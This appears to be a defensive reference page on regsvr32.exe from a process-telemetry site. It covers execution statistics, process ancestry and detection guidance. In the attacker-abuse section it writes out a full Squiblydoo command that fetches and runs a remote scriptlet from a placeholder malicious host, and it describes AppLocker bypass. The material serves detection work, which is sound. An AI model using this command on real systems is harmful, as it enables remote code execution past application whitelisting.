regsvr32.exe
Summary
Microsoft Register Server (regsvr32.exe) is a command-line utility used to register and unregister OLE controls, including DLLs and ActiveX controls, in the Windows registry. It can also be used to invoke COM scriptlets (.sct files) hosted locally or remotely.
regsvr32.exe is the 10th most commonly executed Windows program in EchoTrail's dataset, observed 7,156,836 times across enterprise environments. It typically runs from C:\Windows\System32 and it is most often launched by epsecurityservice.exe.
Behavior
Top Paths
- C:\Windows\System3261.64%
- C:\Windows\SysWOW6438.36%
- C:\Users\...<0.01%
Top Hashes (SHA256)
- 022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b731.97%
- d248a3ebda8faa54907ef86a9cf4ef3ab9a99a284ec36be410a20fda5f856c7729.41%
- 7eadc73f8aa77148ca289d5ce5c2632f3a157d313079583454c0421bb97d564629.18%
- 31aee70f9705f6578c6b41849ea3b5a948a446f494f24befcf5b169a1c2a71d28.94%
- cec94c3829884bdf1d35ea3e02988c748c0f6881819719242605e3c5f531fffc0.07%
- 62ec2017a419d26d687e909c994269d4480cfdddde664b10cd369fbc9814f2ad0.07%
- 8eb386c10e619db1d74f95ae54083d61d2c3030e12de1bf288e5be59312cc1a50.06%
- c960830805837d103f3a0727f94b62cdc7d763d66c1598f86aabf9b7056023440.06%
- 12e08492893dbce4c120d69205c82c32c1ac556d2c244b3b536018a5a274355e0.03%
- 8ffc7f80efbf746e49f37ea3d140f042cf71ef20b4da2a8f02688e79295da11d0.03%
Process Ancestry
Top Grandparents
- services.exe30.85%
- msiexec.exe12.01%
- g2mlauncher.exe7.89%
- g2mcomm.exe7.87%
- updater.exe5.89%
- Dropbox.exe1.67%
- userinit.exe1.56%
- igfxCUIService.exe1.22%
- svchost.exe1.11%
- setup.exe0.88%
Top Parents
- epsecurityservice.exe61.33%
- ZConRelation.exe8.58%
- zRMMupdate.exe0.82%
- zTUEXEC.exe0.56%
- SystemUPTime.exe0.17%
- HDChat.exe0.17%
- regsvr32.exe0.17%
- zCCT.exe0.11%
- ChkTDCPlus.exe0.11%
Top Children
- regsvr32.exe99.46%
- net.exe0.09%
- powershell.exe0.07%
- wevtutil.exe0.05%
- notepad.exe0.04%
- regedit.exe0.03%
- calc.exe0.02%
- WerFault.exe0.02%
- cmd.exe0.02%
- conhost.exe0.01%
Rare or environment-specific process names are omitted from ancestry tables. Percentages are of all observed relationships.
Security Analysis
What does regsvr32.exe normally do?
Located in C:\Windows\System32 or C:\Windows\SysWOW64. Commonly launched by security software (epsecurityservice.exe), management agents (SAAZOD/ZENworks), and installers. Registers DLLs during software installation. Typically short-lived — executes, registers the DLL, and exits. Rarely has child processes.
When is regsvr32.exe suspicious?
Command-line containing /i: with a URL (remote scriptlet execution, also known as "Squiblydoo"). Using /s (silent) combined with unusual DLL paths. Spawning child processes, especially shells (cmd.exe, powershell.exe). Launched by Office applications, script interpreters, or browsers. Making outbound network connections.
How do attackers abuse regsvr32.exe?
Squiblydoo attack: regsvr32.exe /s /n /u /i:http://malicious.com/payload.sct scrobj.dll — this downloads and executes a remote COM scriptlet. Bypasses AppLocker and many application whitelisting solutions because regsvr32 is a signed Microsoft binary. Can also be used to load malicious DLLs for proxy execution, sidestepping direct execution restrictions. Occasionally used for DLL injection by registering a malicious DLL that gets loaded into target processes.
Detection guidance
High-confidence: regsvr32.exe with /i: parameter containing a URL or UNC path. regsvr32.exe loading scrobj.dll with a remote resource. regsvr32.exe spawning shells or making network connections. Medium-confidence: regsvr32.exe launched by script interpreters or Office applications. Monitor Sysmon Event ID 1 for command-line patterns and Event ID 3 for network connections from regsvr32.
False positive notes
Very common during software installation and updates — security products and management agents (ZENworks, SCCM) frequently invoke regsvr32 to register DLLs. The high execution count in the dataset is largely driven by endpoint security and management agent activity. Legitimate /s (silent) usage is common in automated deployments.
Related Processes
Ask Rocky about regsvr32.exe
Rocky answers questions about regsvr32.exe grounded in this same dataset — free, no account needed.
Need this data programmatically? The Rocky API includes 500 free lookups a month. Or just ask Rocky.
Data from EchoTrail's dataset of ~346M Windows process executions. Last extracted 2026-08-04.